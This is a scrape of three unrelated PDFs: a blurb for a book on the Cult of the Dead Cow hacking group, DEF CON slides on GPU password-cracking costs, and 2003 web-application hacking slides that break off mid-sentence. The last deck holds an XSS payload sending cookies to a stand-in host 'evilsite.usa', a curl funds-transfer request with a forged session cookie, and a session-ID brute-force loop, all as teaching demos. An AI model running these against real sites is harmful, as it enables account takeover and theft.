SECURITY, GAO/T-AIMD-00-330 FAA Computer Security, Sept. 2000
pdf
While other books have tackled the military-internet complex, tech-enabled intelligence gathering, and cyberwarfare, together with WikiLeaks, Edward Snowden, and the 2016 US election, there is a crucial element to the stories missing in all of them. In his revelatory new book, CULT OF THE DEAD COW: How the Original Hacking Supergroup Might Just Save the World, acclaimed journalist Joseph Menn profiles the people dedicated to information security who are out of the spotlight and in the shadows, fighting to protect our personal data and freedom as well as our national security. CULT OF THE DEAD COW is the story of the oldest surviving, most respected, and most famous hacking group of all time. Its members released tools that forced giant companies to work harder to protect consumers, and then they launched the broad movement known as hacktivism. Though it has never had more than twenty active members at a time, the Cult of the Dead Cow (cDc) has multiple claims on history. As it evolved from a pre-web community, cDc members developed hacking software that is still being used by criminals, spies, and professional network administrators. They released the top tool for testing password security and created what was for years the best technique for controlling computers from afar. They contributed to the development of Tor, the most important privacy tool on the net, and helped build cyberweapons that advanced US security without injuring anyone. The Cult of the Dead Cow defined hacktivism and tirelessly promoted the idea to the public and fellow hackers, leading the movement and urging programmers to wield their keyboards in service of human rights. As cDc matured, its members became leaders in changing hacking from a hobby to a profession to a mode of warfare. Though most Cult of the Dead Cow members have remained anonymous through the years, sixteen have agreed to be named for the first time in these pages, including all the previously cloaked core participants, many of whom are available for interviews to discuss CULT OF THE DEAD COW. With its origins in the earliest days of the Internet, the cDc is full of powerful characters—spies, activists, musicians, and politicians—some of whom are now woven into the top ranks of the American establishment. A few members have become not only public but famous over the years. cDc figures and those they trained have advised US presidents, cabinet members, and the chief executives of Google, Apple, and Facebook. As revealed here, the most famous is former Texas Congressman and current presidential candidate Beto O’Rourke, whose time in the cDc led him to found a tech business, launch an alternative publication in El Paso, and embark on unconventional campaigns. As issues of tech security become matters of public safety, national security, and ultimately the future of democracy, the Cult of the Dead Cow’s influence figures in critical decisions and national dialogue, even if many are unaware of it. Serious hacking requires critical thinking, and the cDc members continued to engage in it as the battlefield expanded from exposing flawed software programs to taking on the broader industry and social issues. At a time when a shortage of critical thinking has wreaked dire consequences, the cDc story is an antidote. Today, this small group and their followers represent the best hope for making technology a force for good instead of for surveillance and oppression. CULT OF THE DEAD COW shows a way forward, both for those involved in privacy, security, and internet regulation as well as those within the broader technological world as ethical debates make daily international headlines. CULT OF THE DEAD COW shows how governments, corporations, and criminals came to hold immense power over individuals and how to fight back against them. The small membership of the Cult of the Dead Cow included, in its earliest years, Beto O’Rourke. He hacked phone service as a teen in order to connect to bulletin boards, the precursor of the Web and what O’Rourke calls “the Facebook of its day.” CULT OF THE DEAD COW explains how O’Rourke built on that sense of community, appreciation for innovation, and guerrilla style of communication to launch a technology company and an alternative publication that served as a springboard for his entry into politics. 15 of the other core members of the Cult of the Dead Cow are named in print for the first time in this book. They joined a remarkably diverse group for the early hacking scene, including a young woman brought in by O’Rourke, a future Long Island prosecutor, contractors for U.S. intelligence agencies, and the founder of one of the most innovative companies improving software security, Veracode. One of the previously known core members is Peiter “Mudge” Zatko. He went on to advise President Bill Clinton and Democratic Sen. Mark Warner and lead grantmaking on offensive and defensive cyber capabilities at DARPA, the Pentagon skunkworks that created the internet. Other Cult of the Dead Cow members launched the modern hacking conference, influenced the development of Tor, and for a time worked with WikiLeaks founder Julian Assange. The FBI investigated the group for years after it released tools that let average computer users hijack machines running Windows, but it ultimately closed the case without charges. The father of the hacktivism movement, Cult member Oxblood Ruffin, was surprisingly close to Western intelligence agencies that shared his distaste for the Chinese government. As other groups and individuals have claimed the mantle of hacktivism since, multiple countries have carried out political hacks disguised as moral actions, likely including some celebrated breaches of spyware vendors serving Western governments. In their pursuit of media attention for fun and for causes, the Cult of the Dead Cow had an uneven relationship with the truth. One of their most famous stories, that of a collaboration with Chinese dissidents called the Hong Kong Blondes, was at least in large part fiction, internal emails show. The adventures of this group were reported as fact in publications including Wired and the Los Angeles Times, but the tale set off a chain of events that brought Oxblood and other technologists close to the orbit of the Dalai Lama, where they would play critical roles in defending Tibetans from Chinese spying and exposing that country’s massive overseas espionage. Oxblood Ruffin directly inspired the Citizen Lab at the University of Toronto, the paragon for academics working with technologists and other experts to expose governments spying on their own people. After formative years in the cDc-inspired culture of media hacks, members of a cDc offshoot spread racially divisive memes during the 2016 election and promoted exiled neo-Nazi hacker Andrew Auernheimer, who has kept the Daily Stormer and other hate-filled publications alive. The fate of Texan Jesse Dryden, the founder of the pioneering hacking conference series HoHoCon and the son of the drummer for Sixties fusion band Jefferson Airplane, is undetermined. Dryden was a master social engineer who hasn’t been seen by his oldest friends for years, and they are unsure if he disappeared by choice or if he is no longer living. Mudge’s innovative security boutique @Stake trained many of today’s top defenders, including Alex Stamos, the Facebook chief security officer who exposed Russian interference on the world’s most important social network. An investigative reporter for Reuters, Joseph Menn is one of the longest serving and most respected mainstream journalists on cyber security. He has won three Best in Business awards from the Society of American Business Editors & Writers and been a finalist for three Gerald Loeb Awards. His previous book Fatal System Error: The Hunt for the New Crime Lords who are Bringing Down the Internet exposed the Russian government's collaboration with organized criminal hackers and was named one of the 10 best nonfiction books of 2010 by Hudson Booksellers. It was placed on the official reading list of the US Strategic Command and was compared by the New Yorker to the novels of Stieg Larsson. He also wrote the definitive All the Rave: The Rise and Fall of Shawn Fanning's Napster, an Investigative Reports & Editors Inc. finalist for book of the year. He previously worked for The Financial Times, Los Angeles Times and Bloomberg and has been interviewed on NPR, PBS, BBC, Fox Business, MSNBC, and many more. In addition, Menn has spoken at conferences including Def Con, Black Hat and RSA. He grew up near Boston and lives in San Francisco. “The author narrates a fast-paced story about how a little-known movement that could trace its roots to the psychedelic rock of the 1960s—one visionary was the son of the Jefferson Airplane's drummer, while another was a lyricist for the Grateful Dead—would eventually serve as security advisory for the Pentagon, the cybernetics industry, and geopolitical forces around the globe… A quick tale of black hats and white hats, with a lot of gray area in between.” – Kirkus Reviews “Menn’s work serves as a spirited examination of the art of hacking and how it might be used for good.” – Publishers Weekly "Long before there was a multi-billion dollar cyber industry, there were some ethical hackers who showed us that the Silicon Valley emperors had no clothes. They looked like misfits, but they showed us how insecure the Internet was and how to make it better. Joe Menn makes this previously untold story entertaining and relevant to today's cyber threats." – Richard A. Clarke, first White House "Cyber Czar" "Cult of the Dead Cow is an exhilarating and essential look into a part of the hacker underground that has shaped the modern world in profound ways. Readers will be amazed by this crew of eccentric, impassioned geniuses who have so often served as the Internet's conscience while lurking unknown in the shadows. The depth of Joe Menn's reporting is as astonishing as his storytelling - no one could have captured this tale better." – Ashlee Vance, author of Elon Musk: Tesla, SpaceX, and the Quest for a Fantastic Future "Cult of the Dead Cow reveals a story few know about the origins of white hat hacking and the heroes it celebrates. Despite the title, hacking isn't dead yet!" – Vint Cerf, co-inventor of the Internet "This dramatic story of how the Internet's first hackers learned to handle their outsized abilities can help us grapple to control the power of today's technology titans." – Bruce Schneier, Harvard fellow and lecturer and author of Click Here to Kill Somebody
pdf
Achieve More. SanDisk Confidential 1 June 23, 2011 Economics of Password Cracking in the GPU Era 8/3/2011 Robert Imhoff- Dousharm SanDisk Confidential 2 2 June 23, 2011 Overview Introduction GPU Cracking Economics Deployment Explained Lessons Learned Conclusion Q/A SanDisk Confidential 3 3 June 23, 2011 Shameless Plugs… Atheros Communications §  Initial research time and funds SanDisk Corporation §  Continued time and funds People of earth §  “Acting Human” Electricity §  Provides the “path of least resistance” Vegas 2.0 – dc949 – CuckooNest SanDisk Confidential 4 4 June 23, 2011 About me… Research and technical – IT Security §  4 years Credit card security (see DEF CON 11-13) §  3 years code IDPS research §  2 years GPGPU password cracking Suit and Tie §  12 years working experience with IT Security §  Developer – Researcher – SOC Analyst – Response – Tactical – Holistic Private Hack Space §  We have tree’s and servers to muse over SanDisk Confidential 5 5 June 23, 2011 Overview: Introduction SanDisk Confidential 6 6 June 23, 2011 Introduction What is General Computing? §  GPU vs SSEx vs. HPC § CUDA and OpenCL (not GL) §  What is the current state of GC and HPC? § Top500 Cloud Computing §  Amazon AWC / EC2 §  Nimbix §  Peer1 Hosting §  Penguin Computing SanDisk Confidential 7 7 June 23, 2011 Introduction Distributed Technologies §  distributed.net §  Folding@home §  SETI@home §  BitCoin SanDisk Confidential 8 8 June 23, 2011 Overview: GPU Cracking SanDisk Confidential 9 9 June 23, 2011 GPU Cracking – Hardware NVidia vs. ATI §  GTX 590 § 1024 Cores * 8 Cell = 8,192 “streams” §  Radeon HD5870 § 1,600 “Cores” == 1,600 Streams CUDA vs. Stream vs. OpenCL §  CUDA == R.A.D §  Stream == Piss poor documents §  OpenCL == Wave of future (sorry CUDA) SanDisk Confidential 10 10 June 23, 2011 GPU Cracking – Software Current offerings §  oclHashCat §  igHash §  CUDA-Multiforcer (M.I.A) Current Benchmarks §  NTLM (Windows AD) §  MD5 (Websites) §  Salt based passwords (Smart) SanDisk Confidential 11 11 June 23, 2011 GPU Cracking – Software What’s in a mask? §  Character Minimum §  Upper, lower, special and numeric §  Passphrase concepts Two factor and you! §  Google Authenticator §  Symantec VIP §  SecureAuth §  RSA SecurID (giggle) SanDisk Confidential 12 12 June 23, 2011 Overview: Economics SanDisk Confidential 13 13 June 23, 2011 Economics Locally hosted §  Single box §  Private Cloud §  Local Distribution (custom Screen Savers, etc.) Public Cloud §  Amazon / Peer1 / Penguin Computing §  LastBit / ElcomSoft (!= good) Distributed §  Non existing? SanDisk Confidential 14 14 June 23, 2011 GPU Password Cracking Video Card Matrix GPU GTX295 M2050 GTX470 GTX480 GTX570 GTX580 HD5870 GTX590* Cores 240 448 448 480 480 512 1600 1024 Memory 896 3072 1280 1536 1280 1536 1024 3072 Keys Per Second (In Millions) CMF Alpha 0.8r4 693.80 1152.18 1323.75 1722.58 1798.77 2020.43 n/a 4200.00 HashCat 0.24 732.70 n/a 819.78 1290.70 1347.80 1357.50 2906.00 2700.00 Password Length: 8 Hours 2510.27 1511.59 1315.68 1011.06 968.23 862.01 599.32 414.67 Days 104.59 62.98 54.82 42.13 40.34 35.92 24.97 17.28 Years 0.29 0.17 0.15 0.12 0.11 0.10 0.07 0.05 Centuries 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 Galactic Years 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 GPU's Days to Complete 2 52.30 31.49 27.41 21.06 20.17 17.96 12.49 8.64 † 4 26.15 15.75 13.70 10.53 10.09 8.98 6.24 4.32 ‡ 16 6.54 3.94 3.43 2.63 2.52 2.24 1.56 1.08 ◊ 20 5.23 3.15 2.74 2.11 2.02 1.80 1.25 0.86 32 3.27 1.97 1.71 1.32 1.26 1.12 0.78 0.54 100 1.05 0.63 0.55 0.42 0.40 0.36 0.25 0.17 250 0.42 0.25 0.22 0.17 0.16 0.14 0.10 0.07 500 0.21 0.13 0.11 0.08 0.08 0.07 0.05 0.03 1000 0.10 0.06 0.05 0.04 0.04 0.04 0.02 0.02 10000 0.01 0.01 0.01 0.00 0.00 0.00 0.00 0.00 100000 0.00 0.00 0.00 0.00 0.00 0.00 0.00 0.00 List Price $290.00 $2,500.00 $260.00 $425.00 $325.00 $490.00 $320.00 $740.00 Keys / Dollar 2.39 0.46 5.09 4.05 5.53 4.12 9.08 5.68 Keys / Core 2.89 2.57 2.95 3.59 3.75 3.95 1.82 4.10 Key / Memory 0.77 0.38 1.03 1.12 1.41 1.32 2.84 1.37 * Estimated speeds † 2x ATX Setup ‡ 4x eATX Setup ◊ 16x Chassis (Dell C410x / Cubix Expander) SanDisk Confidential 15 15 June 23, 2011 Example "Super Computer" GPGPU Setup SKU Description QT Unit Cost Total Cost Super B8DTG Supermicro SBI-7126TG Intel 5520 LGA1366 GPU Blade 10 $699.84 $6,998.40 AOC-IBH-XQS Supermicro Add-on Card AOC-IBH-XQS Network adapter 10 $550.70 $5,507.00 BX80602E5506 Intel Xeon E5506 Nehalem-EP 2.13GHz 80W Quad-Core Server Processor 20 $230.00 $4,600.00 GTX590 GeForce GTX 590 (Fermi) 3072MB 768-bit GDDR5 PCI Express 2.0 x16 20 $749.99 $14,999.80 MCP-640-00062-0N Accessory MCP-240-00062-0N FH L-Bracket for Standard-LP 4XLANCARD Retail 20 $20.70 $414.00 N8G-ST2 Active Media Products Amp 8GB 7-Pin SATA Dom Flash Disk 10 $75.90 $759.00 KVR1333D3D4R9S/8G Kingston 8GB 240-Pin DDR3 SDRAM ECC Registered DDR3 1333 Server 20 $175.00 $3,500.00 Super SBE-720E-R75 Supermicro SuperBlade SBE-720E-R75 Rack-mountable 1 $3,587.63 $3,587.63 SBM-IBS-Q3616 Supermicro Blades SBM-IBS-Q3616 - SB Infiniband Swch 40gb INFINISCALE 1 $5,318.77 $5,318.77 SBM-XEM-X10SM Supermicro - SBM-XEM-X10SM - SBLADE L3 10gbe Swch 480gbps Layer3 10g 1 $7,153.27 $7,153.27 Total $52,837.87 GPU Count Pass/GPU Total /Sec 40 3.42 136.8 SanDisk Confidential 16 16 June 23, 2011 Password Brute Force Calculator Character Set Size Entropy or Keyspace of password Upper Case Letters 26 1 Lower Case Letters 26 1 Numbers 10 1 Special Characters 32 1 or Purely Random Combo of Alpha/Numeric 62 1 or PURELY Random Combo of Alpha/Numeric/Special 8 94 6,095,689,385,410,820 password length in Characters 8 6,095,689,385,410,820 Total Unique Keys ./3.5Reduce Keyspace Search using map reduce methods 1,741,625,538,688,800.00 Total Workload in Floating Point Processes GPUs GTX 570 Amazon EC2 M2050 GPUs 4 7195080000000 Keys 2491820000000 2 Estimated Gross Number of hours to Crack 242.06 Hours 698.94 10.09 days 29.12 0.03 years 0.08 0.00 centuries 0.00 0.00 Galactic Years 0.00 Number of servers (with GPU count from above) 4 2.52 days 7.28 8 1.26 days 3.64 10 1.01 days 2.91 50 0.20 days 0.58 100 0.10 days 0.29 250 0.04 days 0.12 500 0.02 days 0.06 1,000 0.01 days 0.03 10,000 0.00 days 0.00 100,000 0.00 days 0.00 GTX Cost (One Time) Amazon Cost $2,056.48 $1,537.66 Conclusion: You really need a better password. This password really is terrible. This password can't be trusted with anything worthwhile, sorry! Numbers don't lie! Try adding some symbols/numbers and increase the length by 3-5 characters SanDisk Confidential 17 17 June 23, 2011 Overview: Deployment Explained SanDisk Confidential 18 18 June 23, 2011 Deployment Explained Live Amazon EC2 Demo Live oclHashCat Demo Live CUDA-Multiforcer Demo SanDisk Confidential 19 19 June 23, 2011 Overview: Lessons Learned SanDisk Confidential 20 20 June 23, 2011 Lessons Learned NTLM and your environment Gawker, Sony and others or §  “How I got F’ed in the A with a D…prison style” The 8-Char password Salting passwords and the future §  Really this is NOT as superficial as you would think! ♪ In the year 2000! ♪ §  Near Future Cracking Number §  Next 1-2 Years Cracking Numbers §  Quantum Computing SanDisk Confidential 21 21 June 23, 2011 Overview: Conclusion SanDisk Confidential 22 22 June 23, 2011 Q/A Robert Imhoff-Dousharm the Hackajar @hackajar Facebook.com/hackajar Linkedin.com/hackajar
pdf
Hacking Web Apps Def Con 11 version Copyright 2002-2003 - David Rhoades slide 2 Warning – Hazards to your Freedom • Unauthorized access to systems & data is illegal in most places. – Get permission in writing before performing scans, audits, assessments, etc! – For details see http://www.lightlink.com/ spacenka/fors/ Copyright 2002-2003 - David Rhoades slide 3 This is not a Drill • True Stories – The vulnerabilities you are about to see are real, only the names have been changed to protect the vulnerable. – Discovered over the past several years by the author during AUTHORIZED security assessments of customers • consumer banking, credit cards, travel reservations, B2B banking, 401K, stock broker, project collaboration & document sharing Copyright 2002-2003 - David Rhoades slide 4 Course Purpose • We will cover… – various web application weaknesses – tools & methods to find and exploit them • We will not cover… – comprehensive audit/assessment methodologies – all tools/techniques – solutions for holes seen Copyright 2002-2003 - David Rhoades slide 5 About the Instructor/Author • David Rhoades – PSU - B.S. Computer Engineering – Info Sec since 1996 – [email protected] • Maven Security Consulting, Inc. – www.MavenSecurity.com (I’m the one on the right.) Copyright 2002-2003 - David Rhoades slide 6 Course Agenda • The Problem • Tools of the Trade (i.e. warez) • Points of Attack – live demos • Further Resources Copyright 2002-2003 - David Rhoades slide 7 The Problem (Can’t we all just get along? …No!) • Web sites are hacked for various reasons: – political, revenge, fame, fortune, fun (genetic?, vitamin deficiency?) • Not just web “sites” - applications too – Hotmail, CD Universe, shopping carts – See for the latest casualties http://www.securitytracker.com/archives/category/4.html • SANS/FBI – The Twenty Most Critical Internet Security Vulnerabilities – Web servers are at the top of the list, see http://www.sans.org/top20/ – Vulnerability stats http://www.securitytracker.com/learn/statistics.html • The results: www.zone-h.org/en/defacements – bad press => lost customer confidence => lost revenue & legal consequences Copyright 2002-2003 - David Rhoades slide 8 Tools of the Trade Overview • Some essential techniques – Intercept & manipulate raw HTTP – Mirror web sites – Automate fake browser requests (a.k.a. brute force) – Decompile Java Applets HTTP – Hyper Text Transfer Protocol HTML – Hyper Text Markup Language • The Problem Tools • Points of Attack • Resources Copyright 2002-2003 - David Rhoades slide 9 Technique – Traffic Interception & Manipulation • Purpose: Manipulate Input – Bypass client-side size restrictions • HTML’s MAXLENGTH • Client-side JavaScript filters – Violate the protocol (i.e. HTTP) – Insert alternate choices into lists and pull down menus – Change cookies, hidden elements, everything & anything • Other purpose – Record HTTP/HTML for analysis (e.g. code comments, custom headers) Copyright 2002-2003 - David Rhoades slide 10 Interception Tool – Achilles Intro • (Old news) World’s first publicly released general purpose web application security assessment tool – Concept: David Rhoades (with apologies to web app developers everywhere) – Code: Robert Cardona • http://achilles.MavenSecurity.com – Released Oct 2000 Copyright 2002-2003 - David Rhoades slide 11 Achilles – Matrix-style Web Proxy • Simple web proxy – Win32 GUI or UNIX via WINE – Notepad with an attitude • Freeze traffic mid-stream and modify – outbound and inbound browser traffic – SSL and non-SSL – Change any HTTP header, cookie, form element • Body length automatically recalculated for POST statements – Log all traffic to a text file Copyright 2002-2003 - David Rhoades slide 12 Achilles – HTTP Exposed • SSL does not protect your web app, it protects traffic in transit – Provides server/client auth too Copyright 2002-2003 - David Rhoades slide 13 Web Server Web Browser Achilles Achilles – Architecture for SSL Sites SSL 1 SSL 2 Achilles looks like a web server to the browser Achilles looks like a web browser to the remote site Copyright 2002-2003 - David Rhoades slide 14 DEMO – Achilles • Capture outbound web request • Capture inbound reply I see everything Copyright 2002-2003 - David Rhoades slide 15 Achilles – Stupid Party Tricks: Modify Inbound Traffic Too Copyright 2002-2003 - David Rhoades slide 16 Tools – Intercept & Modify Proxies • WebProxy v1 (freeware) – http://www.astalavista.com/tools/auditing /network/http-server/ – Java (Windows/UNIX) – Auto hack feature (i.e. fuzz) • WebProxy v2+ (Commercial) – http://www.atstake.com/webproxy • Spike Proxy – Python script (Window/UNIX) – Auto hack feature (i.e. fuzz) – www.immunitysec.com/spikeproxy.html Several ‘intercept and modify’ proxies are now available…much better than Achilles Copyright 2002-2003 - David Rhoades slide 17 Tools – More Intercept & Modify Proxies • Tool: Odysseus – http://www.wastelands.gen.nz/index.php?page=odysseus – Win32 EXE – GUI/SSL/Proxy based • Tool: Paros v2.2 Free Edition – http://www.proofsecure.com – Win32 EXE – GUI/SSL/Proxy based – HTTP 1.1 – spider function – XSS testing • Tool: PenProxy – http://shh.thathost.com/pub-java/html/PenProxy.html – Java (Windows/UNIX) – No SSL/TLS support • Tool: HTTPush – http://sourceforge.net/projects/httpush – Client interface thru browser – Open Source Project – XML plugins (e.g. whois) – SSL and non-SSL – This tools is not actively being developed. Copyright 2002-2003 - David Rhoades slide 18 Tools – Browsers/Browser Extensions • These are browser-like, or browser extensions useful for manipulating web traffic – All IE-based • Form Scalpel – http://www.ugc- labs.co.uk/tools/formscalpel/ • IE Booster – www.paessler.com/products/ieb/index. html Copyright 2002-2003 - David Rhoades slide 19 Tool – General Purpose Tool Kits for Web App Testing • Web Sleth – http://www.geocities.co m/dzzie/sleuth/ • Platform: Win32 GUI • Purpose: All-in-one web app security audit tool set. – Parses web pages to catalog forms, cookies, HTML comments, etc… – Modify form elements manually – Modify form elements automatically (via plugin) • Supports SSL • Free, open-source version • Commercial version • Web Scarab – www.owasp.org/websc arab/ • Java based • “…a true ‘Open Source’ web application security assessment tool. The tool will be able to examine a complete web site or individual applications running within a web site for security issues.” • Status: Beta now available. More coming… Copyright 2002-2003 - David Rhoades slide 20 A closer look at WebProxy – Features • Works with HTTPS (SSL/TLS). • Fuzzing – permutations of user selected traffic components – text file defines input (fuzzstrings) – text file defines signature to look for in server’s output (errorstrings) • Automatic, on-the-fly, find- and-replace of HTTP traffic Copyright 2002-2003 - David Rhoades slide 21 WebProxy – Administration Interface • Interface via browser – change browser’s proxy settings • Surf to http://webproxy Copyright 2002-2003 - David Rhoades slide 22 WebProxy – Terminal Window Monitor • A command prompt window will display client requests and server responses • Beware of “Select” mode Copyright 2002-2003 - David Rhoades slide 23 WebProxy – Intercepting Browser Requests Copyright 2002-2003 - David Rhoades slide 24 WebProxy – “Un”documented Features • Official FAQ states… – “Are there any undocumented features in WebProxy? Yes.” • Transparent proxy • Add to .webproxyrc file – addproxy transhttp 5113 <REMOTE PROXY IP> 8080 127.0.0.1 – Transparent proxy now running on 127.0.0.1 port 5113 – Remote proxy on port 8080 will think it is the only proxy • Now you can daisy chain with a normal proxy. • Normal proxy will not see WebProxy (i.e. transparent) Copyright 2002-2003 - David Rhoades slide 25 Tool – IE Booster Intro • Web Browser Extensions for IE 5/6 – Extended context menu (left click) – Show all forms and applets of a web page – See and edit hidden form elements ☺ • Version 1.4 (Freeware) • www.filelibrary.com: 8080/cgi-bin/ freedownload/ New_Files/n/150/ ieboostr.zip • Version 2.x (Shareware – 30 day trial) • www.paessler.com/ie booster Copyright 2002-2003 - David Rhoades slide 26 Technique – Brute Force Authentication • Brutus – www.hoobie.net/brutus /index.html • Platform: Win32 GUI • Purpose: Brute force web logins (both kinds – Country & Western) – HTTP Basic Authentication – Form-based Authentication • GET or POST – Brute forces other protocols too • FTP, telnet, POP3, SMB… Copyright 2002-2003 - David Rhoades slide 27 Brute Force Tool – Brutus Features • Brute force many types of auth – web forms and Basic auth – POP, telnet, FTP, SMTP • Exhaustive word list generation – all lower case character strings 6 to 8 characters long • HTML form viewer – to assist in form based brute force • Built in script maker – to learn new protocol for brute forcing • Word list permutations – password -> pa55w0rd Copyright 2002-2003 - David Rhoades slide 28 Other Brute Force Tools for Web Apps • Win32: wwwhack – http://packetstormsecurity.org/Crackers/wwwhack.zip • UNIX: Authforce – kapheine.hypa.net/authforce/index.php • Win32: Brutus – http://www.hoobie.net/brutus/index.html • UNIX: THC Hydra – www.thc.org/releases.php • Nessus (specific plugin) – “Unknown CGIs arguments torture” – Brute forces CGI parameters in general, not just authentication – http://cgi.nessus.org/plugins/dump.php3?id=10672 • Screaming Cobra cobra.lucidx.com – no SSL; not being updated; but nice proof-of-concept (crawl and fuzz) Copyright 2002-2003 - David Rhoades slide 29 Other Brute Force References • Word Lists – www.packetstormsecurity.nl/ Crackers/wordlists/ • Build word variations – sourceforge.net/projects/variation s/ Copyright 2002-2003 - David Rhoades slide 30 Technique – Decompiling Java Applets • Compiled into byte-code, but can be decompiled • Java Applets from… – Client-side code – Stolen from server – Lots of apps (WebProxy) are Java • May contain sensitive info – username / password – “secret” URLs – undocumented features Copyright 2002-2003 - David Rhoades slide 31 Tools – Java Decompiling • JAD – http://www.geocities.com/zz_ xu/jad.html • Mocha – http://www.brouhaha.com/~ eric/computers/mocha.html • Sourcetech – http://www.srctec.com/decompile r/index.htm Copyright 2002-2003 - David Rhoades slide 32 Technique –Mirror/Crawl Web Site • Automated Mirror – Use web mirroring software (AKA. robots, crawlers, spiders, offline browsers) to download the site onto your hard drive. – Search the captured files for… • HTML and script comments • Inappropriate use of the GET method (versus POST) • GENERATOR tags (e.g. FrontPage) – Try to capture HTTP headers for more info… • X-Accelerated-By: PHPA/1.3.3r1 • Server: Apache/1.3.19 (Unix) • X-Bender: Care to contribute to the Anti- Mugging-You Fund? Copyright 2002-2003 - David Rhoades slide 33 Tools – Mirror/Crawl Web Sites • Freeware – UNIX/Windows: HTTrack (open source and free) http://www.httrack.com/ • Can override robots.txt restrictions • Not supported by ads; not spy ware • Mozilla extension (Spiderzilla) available – UNIX: wget freshmeat.net/projects/wget/ • Commercial – Windows: BlackWidow www.softbytelabs.com – HTTP, HTTPS, and FTP Copyright 2002-2003 - David Rhoades slide 34 Attack Agenda Roadmap – Authentication • Some points of attack Authentication – Session Tracking – Unexpected Input – Application Logic • The Problem • Tools Points of Attack • Resources Copyright 2002-2003 - David Rhoades slide 35 DEMO – Attacking Authentication • wwwhack – http://packetstormsecurity.org/Cr ackers/wwwhack.zip – NOTE: Shareware? Porn ads? • Demo Site – http://www.vaporware.usa/cgi- bin/calendar.pl?calendar=vaporex ternal&template=login.html • NOTE: key phrases (Pick something that is unique to the FAILED attempt) Copyright 2002-2003 - David Rhoades slide 36 Authentication Attack – Attacking Locked Accounts (PIN Harvest) • Q: Locking accounts will prevent brute force attacks….right? • A: Not always. • There is username harvesting… – Bad login reveals valid user names • But what about password/PIN harvesting? – Locked account + error message = correct PIN revealed Copyright 2002-2003 - David Rhoades slide 37 Authentication Attack – PIN Harvest Real World Example • Example: – When trying the wrong PIN for a locked account, the web application returned: – Leider ist diese PIN falsch. [Unfortunately this pin is wrong.] – When trying the correct PIN for a locked account, the web application returned: – Leider ist Ihre PIN nicht mehr gültig. [Unfortunately your pin is no longer valid.] Real example found in major consumer banking application in Europe a few years ago. Copyright 2002-2003 - David Rhoades slide 38 Authentication Attack – Bypass Authentication • If you cannot beat the authentication perhaps you can bypass it. • Viewing public calendar without login we see: – http://vaporware/cgi- bin/calendar.pl?calendar=vaporexternal • Demo: See Mar 2002 for calendar=secret Copyright 2002-2003 - David Rhoades slide 39 Attack Agenda – Session Tracking • Some points of attack – Authentication Session Tracking – Unexpected Input – Application Logic • The Problem • Tools Points of Attack • Resources Copyright 2002-2003 - David Rhoades slide 40 Session Tracking Intro • Session Tracking – Session ID is unique identifier – Embedded into traffic via URL or Cookie Set-cookie: CGISessionID=134 4107640;path=/ • Forms of attack: – Predict, Brute Force, or Pinch (i.e steal) Copyright 2002-2003 - David Rhoades slide 41 Session Cloning via Prediction • Steps for Prediction Attack – Determine how & when session ID is assigned • E.g. before login via cookie – Collect several session IDs • Rapid fire: one after another – Analyze for pattern or predictability • Based on time stamp? Source IP? MD5 checksum of both? Session ID Attacks: -Predict -Brute Force -Pinch Copyright 2002-2003 - David Rhoades slide 42 (Tool) iDefense Intro: Cookie Collecting Made Easy • iDefense Web Application Session Auditor – Win32 GUI – for the coding impaired ☺ • URL www.idefense.com/ idtools/Session_Auditor. zip • Version 1.0 – Cookie brute-force does NOT work – It tries to send Set-Cookie, rather than Cookie: Copyright 2002-2003 - David Rhoades slide 43 DEMO – Session Tracking: Collect & Analyze Session ID • Tool – iDefense – WebMaven – Buggy Bank • SessionID assigned before login via cookie – VaporWare Calendar • similar data for recent audit of online reservation system • looks random but… • Worse example: credit union software Sample Data Session ID Attacks: -Predict -Brute Force -Pinch Copyright 2002-2003 - David Rhoades slide 44 Session Cloning via Brute Force • Sometimes the session ID is from a small range of choices • Attack: Request all/most possible combinations Session ID Attacks: -Predict -Brute Force -Pinch Copyright 2002-2003 - David Rhoades slide 45 DEMO – Brute Force Session ID • Tool – iDefense Web Application Session Auditor – ideal if session ID is inside the URL – cookie brute force feature is broke in v1.0 • Site WebMaven-BuggyBank – session ID embedded in cookie before login Session ID Attacks: -Predict -Brute Force -Pinch Copyright 2002-2003 - David Rhoades slide 46 Command Line Kung Foo – cURL Intro --silent = hide curl status junk --include = show HTTP headers --cookie = add your own cookies --data = add POST data Target URL $ curl --silent --include --cookie 'SessionID=1059750438' --data 'from=1234567890123750&to=1234567 890123751&amount=100000000&transa ction=transfer2' http://webmaven.usa/cgi- bin/wm.cgi?transaction=transfer Copyright 2002-2003 - David Rhoades slide 47 DEMO – Brute Force Session ID from Command Line • $ curl --silent --cookie 'SessionID=1059777280' http://www.webmaven.usa/cgi- bin/wm.cgi?transaction=summary | grep -o -P 'Account Summary for .*?\<‘ • $ perl -e 'for ($x=875;$x<=975;$x++) {print "Session ID 1059835$x"; system ("curl --silent - -cookie 'SessionID=1059835\$x' http://www.webmaven.usa/cgi- bin/wm.cgi?transaction=summary");}' | grep -o -P 'Account Summary for .*?\<|Session ID .*?\<' | grep -B 1 Account Copyright 2002-2003 - David Rhoades slide 48 Session Cloning via Pinching • Steps for Cookie Pinch Attack – Session ID is very robust – difficult or impossible to predict – Therefore, try stealing valid session IDs via Cross Site Scripting (XSS) Session ID Attacks: -Predict -Brute Force -Pinch Copyright 2002-2003 - David Rhoades slide 49 DEMO – Session Cloning via XSS Cookie Pinch (Looky, looky, I got your cookie!) • Define XSS – User input and/or web app output not filtered; might contain client-side code; browser is attacked • Simple demo – http://localhost/cgi-bin/testcgi? <script>alert(“Hello”)</script> • See Vaporware app • If Session ID is in cookie then it can be sent to remote site – <SCRIPT> window.open('http://evilsite.usa:888/cookie- collector?'+escape(document.cookie)) </SCRIPT> Session ID Attacks: -Predict -Brute Force -Pinch Copyright 2002-2003 - David Rhoades slide 50 Attack Agenda – Unexpected Input • Some points of attack – Authentication – Session Tracking Unexpected Input SQL Injection Buffer Overflow Command Injection etc… – Application Logic • The Problem • Tools Points of Attack • Resources Copyright 2002-2003 - David Rhoades slide 51 Unfiltered User Input • Lots of names for this concept – SQL Injection – Buffer Overflow • Unexpected input might cause error – Special characters – Too big – Alternate choice Copyright 2002-2003 - David Rhoades slide 52 DEMO – Unfiltered User Input / Web Server Output • Error message too detailed – SQL / ODBC Errors • How: account number during login • Result: Access to entire DB – Aux. Program Errors • How: Semicolon (%3B) in the “Account” cookie • Result: run commands • XSS – Seen earlier – Result: Attack, eavesdrop, and clone user’s session ID (cookie-based) Copyright 2002-2003 - David Rhoades slide 53 Command Injection Attack • Found in online banking app (very large bank) • Cookie held encrypted account 